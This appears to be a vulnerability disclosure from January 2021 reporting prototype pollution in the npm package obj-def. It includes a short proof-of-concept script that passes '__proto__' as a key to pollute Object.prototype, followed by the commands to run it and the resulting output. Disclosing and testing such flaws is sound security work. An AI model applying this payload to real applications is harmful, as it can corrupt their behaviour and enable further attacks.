Prototype Pollution in ionicabizau/obj-def


Reported on

Jan 4th 2021


obj-def is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var objDef = require("obj-def")
var obj ={}
console.log("Before : " + {}.polluted);
objDef(obj, "__proto__", {}).polluted ='Yes! Its Polluted';
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i obj-def # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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